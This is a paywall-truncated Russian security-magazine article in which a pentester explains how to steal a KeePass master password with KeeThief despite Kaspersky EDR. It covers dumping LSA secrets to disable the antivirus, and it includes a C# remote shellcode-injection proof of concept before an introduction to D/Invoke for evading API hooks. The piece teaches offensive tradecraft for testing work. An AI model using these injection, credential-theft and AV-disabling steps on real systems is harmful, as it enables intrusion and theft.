Не­дав­но на пен­тесте мне понадо­билось вытащить мас­тер‑пароль откры­той базы дан­ных KeePass из памяти про­цес­са с помощью ути­литы KeeThief из арсе­нала GhostPack. Все бы ничего, да вот EDR, сле­дящий за сис­темой, катего­ричес­ки не давал мне это­го сде­лать — ведь под капотом KeeThief живет клас­сичес­кая про­цеду­ра инъ­екции шелл‑кода в уда­лен­ный про­цесс, что не может остать­ся незаме­чен­ным в 2022 году.

В этой статье мы рас­смот­рим замеча­тель­ный сто­рон­ний механизм D/Invoke для C#, поз­воля­ющий эффектив­но дер­гать Windows API в обход средств защиты, и перепи­шем KeeThief, что­бы его не ловил великий и ужас­ный «Кас­пер­ский». Пог­нали!

 

Предыстория

В общем, пре­бываю я на внут­ряке, домен‑админ уже пой­ман и наказан, но вот оста­лась одна вред­ная база дан­ных KeePass, которая, конеч­но же, не захоте­ла сбру­тить­ся с помощью hashcat и keepass2john.py. В KeePass — дос­тупы к кри­тичес­ки важ­ным ресур­сам инфры, опре­деля­ющим исход внут­ряка, поэто­му доб­рать­ся до нее нуж­но. На рабочей стан­ции, где поль­зак кру­тит инте­ресу­ющую нас базу, гля­дит в оба Kaspersky Endpoint Security (он же KES), который не дает рас­сла­бить­ся. Рас­смот­рим, какие есть вари­анты получить желан­ный мас­тер‑пароль, не при­бегая к социн­женерии.

Преж­де все­го ска­жу, что успех это­го пред­при­ятия — в обя­затель­ном исполь­зовании кру­той мал­вари KeeThief из кол­лекции GhostPack авторс­тва небезыз­вес­тных @harmj0y и @tifkin_. Ядро прог­раммы — кас­томный шелл‑код, который вызыва­ет RtlDecryptMemory в отно­шении зашиф­рован­ной области вир­туаль­ной памяти KeePass.exe и выдер­гива­ет отту­да наш мас­тер‑пароль. Если есть шелл‑код, нужен и заг­рузчик, и с этим воз­ника­ют труд­ности, ког­да на хос­те при­сутс­тву­ет EDR...

Впро­чем, мы отвлек­лись. Какие были вари­анты?

 

Потушить AV

Са­мый прос­той (и глу­пый) спо­соб — вырубить к чер­тям «Кас­пер­ско­го» на пару секунд. «Это не ред­тим, поэто­му пра­во имею!» — подумал я. Так как при­виле­гии адми­нис­тра­тора домена есть, есть и дос­туп к сер­веру адми­нис­три­рова­ния KES. Сле­дова­тель­но, и к учет­ке KlScSvc (в этом слу­чае исполь­зовалась локаль­ная УЗ), кре­ды от которой хра­нят­ся сре­ди сек­ретов LSA в плей­нтек­сте.

По­рядок дей­ствий прос­той. Дам­паю LSA с помощью secretsdump.py.

Потрошим LSA
Пот­рошим LSA

Гру­жу кон­соль адми­нис­три­рова­ния KES с офи­циаль­ного сай­та и логинюсь, ука­зав хос­тнейм KSC.

Консоль администрирования KES
Кон­соль адми­нис­три­рова­ния KES

Сто­порю «Кас­пера» и делаю свои гряз­ные делиш­ки.

AdobeHelperAgent.exe, ну вы поняли, ага
AdobeHelperAgent.exe, ну вы поняли, ага

Profit! Мас­тер‑пароль у нас. Пос­ле окон­чания про­екта я опро­бовал дру­гие спо­собы решить эту задачу.

 

Получить сессию C2

Мно­гие C2-фрей­мвор­ки уме­ют тащить за собой DLL ран­тай­ма кода C# (Common Language Runtime, CLR) и заг­ружать ее отра­жен­но по прин­ципу RDI (Reflective DLL Injection) для запус­ка мал­вари из памяти. Теоре­тичес­ки это может пов­лиять на про­цесс отло­ва управля­емо­го кода, исполня­емо­го через такой трюк.

Пол­ноцен­ную сес­сию Meterpreter при активном анти­виру­се Кас­пер­ско­го получить труд­но из‑за оби­лия арте­фак­тов в сетевом тра­фике, поэто­му его execute-assembly я даже про­бовать не стал. А вот модуль execute-assembly Cobalt Strike при­нес свои резуль­таты, если пра­виль­но получить сес­сию beacon (далее скрин­шоты будут с домаш­него KIS, а не KES, но все тех­ники работа­ют и про­тив пос­ледне­го — про­вере­но).

KeeTheft.exe с помощью execute-assembly CS
KeeTheft.exe с помощью execute-assembly CS

Все козыри рас­кры­вать не буду — мне еще работать пен­тесте­ром, одна­ко этот метод тоже не пред­став­ляет боль­шого инте­реса в нашей ситу­ации. Для глад­кого получе­ния сес­сии «маяч­ка» нужен внеш­ний сер­вак, на который надо нак­рутить валид­ный сер­тификат для шиф­рования SSL-тра­фика, а заражать таким обра­зом машину с внут­ренне­го перимет­ра заказ­чика — сов­сем невеж­ливо.

 

Перепаять инструмент

Са­мый инте­рес­ный и в то же вре­мя тру­дозат­ратный спо­соб — перепи­сать логику инъ­екции шелл‑кода таким обра­зом, что­бы EDR не спа­лил в момент исполне­ния. Это то, ради чего мы сегод­ня соб­рались, но для начала нем­ного теории.

Примечание

Де­ло здесь имен­но в укло­нении от эвристи­чес­кого ана­лиза, так как, если спря­тать сиг­натуру мал­вари с помощью недетек­тиру­емо­го упа­ков­щика, дос­туп к памяти нам все рав­но будет зап­рещен из‑за фей­ла инъ­екции.

Запуск криптованного KeeTheft.exe при активном EDR
За­пуск крип­тован­ного KeeTheft.exe при активном EDR
 

Классическая инъекция шелл-кода

Ог­лянем­ся назад и рас­смот­рим клас­сичес­кую тех­нику внед­рения сто­рон­него кода в уда­лен­ный про­цесс. Для это­го наши пред­ки поль­зовались свя­щен­ным трио Win32 API:

  • VirtualAllocEx — выделить мес­то в вир­туаль­ной памяти уда­лен­ного про­цес­са под наш шелл‑код.
  • WriteProcessMemory — записать бай­ты шелл‑кода в выделен­ную область памяти.
  • CreateRemoteThread — запус­тить новый поток в уда­лен­ном про­цес­се, который стар­тует све­жеза­писан­ный шелл‑код.
Исполнение шелл-кода с помощью Thread Execution (изображение — elastic.co)
Ис­полне­ние шелл‑кода с помощью Thread Execution (изоб­ражение — elastic.co)

На­пишем прос­той PoC на C#, демонс­три­рующий эту самую клас­сичес­кую инъ­екцию шелл‑кода.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace SimpleInjector
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
public static void Main()
{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp
byte[] buf = new byte[] { };
// Получаем PID процесса explorer.exe
int processId = Process.GetProcessesByName("explorer")[0].Id;
// Получаем хендл процесса по его PID (0x001F0FFF = PROCESS_ALL_ACCESS)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
// Выделяем область памяти 0x1000 байт (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Записываем шелл-код в выделенную область
_ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out _);
// Запускаем поток
_ = CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}

Ском­пилиро­вав и запус­тив инжектор, с помощью Process Hacker мож­но наб­людать, как в про­цес­се explorer.exe запус­тится новый поток, рису­ющий нам диало­говое окно MSF.

Классическая инъекция шелл-кода
Клас­сичес­кая инъ­екция шелл‑кода

Ес­ли прос­то положить такой бинарь на диск с активным средс­твом анти­вирус­ной защиты, реак­ция будет незамед­литель­ной незави­симо от содер­жимого мас­сива buf, то есть нашего шелл‑кода. Все дело в ком­бинации потен­циаль­но опас­ных вызовов Win32 API, которые заведо­мо исполь­зуют­ся в боль­шом количес­тве злов­редов. Для демонс­тра­ции я переком­пилирую инжектор с пус­тым мас­сивом buf и залью резуль­тат на VirusTotal. Ре­акция ресур­са говорит сама за себя.

VirusTotal намекает...
VirusTotal намека­ет...

Как анти­вирус­ное ПО понима­ет, что перед ним инжектор, даже без динами­чес­кого ана­лиза? Все прос­то: пач­ка атри­бутов DllImport, занима­ющих полови­ну нашего исходни­ка, кри­чит об этом на всю дерев­ню. Нап­ример, с помощью такого вол­шебно­го кода на PowerShell я могу пос­мотреть все импорты в бинаре .NET.

Примечание

Здесь исполь­зует­ся сбор­ка System.Reflection.Metadata, дос­тупная «из короб­ки» в PowerShell Core. Уста­нов­ка опи­сана в до­кумен­тации Microsoft.

$assembly = "C:\Users\snovvcrash\source\repos\SimpleInjector\bin\x64\Release\SimpleInjector.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata)
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()
foreach($typeHandler in $metadataReader.TypeDefinitions) {
$typeDef = $metadataReader.GetTypeDefinition($typeHandler)
foreach($methodHandler in $typeDef.GetMethods()) {
$methodDef = $metadataReader.GetMethodDefinition($methodHandler)
$import = $methodDef.GetImport()
if ($import.Module.IsNil) {
continue
}
$dllImportFuncName = $metadataReader.GetString($import.Name)
$dllImportParameters = $import.Attributes.ToString()
$dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name)
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}
Смотрим импорты в SimpleInjector.exe
Смот­рим импорты в SimpleInjector.exe

info

Эти импорты пред­став­ляют собой спо­соб вза­имо­дей­ствия при­ложе­ний .NET с неуп­равля­емым кодом — таким, нап­ример, как фун­кции биб­лиотек user32.dll, kernel32.dll. Этот механизм называ­ется P/Invoke (Platform Invocation Services), а сами сиг­натуры импорти­руемых фун­кций с набором аргу­мен­тов и типом воз­вра­щаемо­го зна­чения мож­но най­ти на сай­те pinvoke.net.

При ана­лизе это­го доб­ра в динами­ке, как ты понима­ешь, дела обсто­ят еще про­ще: так как все EDR име­ют при­выч­ку вешать хуки на userland-интерфей­сы, вызовы подоз­ритель­ных API сра­зу под­нимут тре­вогу. Под­робнее об этом мож­но почитать в ре­сер­че @ShitSecure, а в лабора­тор­ных усло­виях хукинг наг­ляднее все­го про­демонс­три­ровать с помощью API Monitor.

Хукаем kernel32.dll в SimpleInjector.exe
Ху­каем kernel32.dll в SimpleInjector.exe

Итак, что же со всем этим делать?

 

Введение в D/Invoke

В 2020 году иссле­дова­тели @TheWover и @FuzzySecurity пред­ста­вили новый API для вызова неуп­равля­емо­го кода из .NET — D/Invoke (Dynamic Invocation, по ана­логии с P/Invoke). Этот спо­соб осно­ван на исполь­зовании мощ­ного механиз­ма де­лега­тов в C# и изна­чаль­но был дос­тупен как часть фрей­мвор­ка для раз­работ­ки пос­тэкс­плу­ата­цион­ных тулз SharpSploit, одна­ко поз­же был вынесен в отдель­ный ре­пози­торий и даже по­явил­ся в виде сбор­ки на NuGet.

С помощью делега­тов раз­работ­чик может объ­явить ссыл­ку на фун­кцию, которую хочет выз­вать, со все­ми парамет­рами и типом воз­вра­щаемо­го зна­чения, как и при исполь­зовании импорта с помощью атри­бута DllImport. Раз­ница в том, что в отли­чие от импорта с помощью DllImport, ког­да адрес импорти­руемых фун­кций ищет исполня­ющая сре­да, при исполь­зовании делега­тов мы дол­жны самос­тоятель­но локали­зовать инте­ресу­ющий нас неуп­равля­емый код (динами­чес­ки, в ходе выпол­нения прог­раммы) и ассо­цииро­вать его с объ­явленным ука­зате­лем. Далее мы смо­жем обра­щать­ся к ука­зате­лю как к иско­мой фун­кции, без необ­ходимос­ти «кри­чать» о том, что мы вооб­ще собира­лись ее исполь­зовать.

D/Invoke пре­дос­тавля­ет не один под­ход для динами­чес­кого импорта неуп­равля­емо­го кода, в том чис­ле:

  1. DynamicAPIInvoke — пар­сит струк­туру DLL (при­чем может как заг­ружать ее с дис­ка, так и обра­щать­ся к уже заг­ружен­ному экзем­пля­ру в памяти текуще­го про­цес­са), где раз­мещена нуж­ная фун­кция, и вычис­ляет ее экспорт‑адрес.
  2. GetSyscallStub — заг­ружа­ет в память биб­лиоте­ку ntdll.dll, точ­но так же пар­сит ее струк­туру, что­бы в резуль­тате получить не что иное, как ука­затель на экспорт‑адрес сис­темно­го вызова — пос­ледней чер­ты перед перехо­дом в мир мер­твых kernel-mode (о сис­темных вызовах погово­рим чуть поз­же).

Что­бы было понят­нее, раз­берем для начала прос­той при­мер, который дела­ет неч­то похожее на пер­вый под­ход, но без исполь­зования D/Invoke.

 

DynamicAPIInvoke без D/Invoke

Мне очень нра­вит­ся при­мер из статьи xpn (вто­рой лис­тинг кода в раз­деле «A Quick History Lesson»), где он показы­вает, как мож­но исполь­зовать всю мощь делега­тов вмес­те с руч­ным поис­ком экспорт‑адре­са неуп­равля­емой фун­кции менее чем за 50 строк.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    5 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии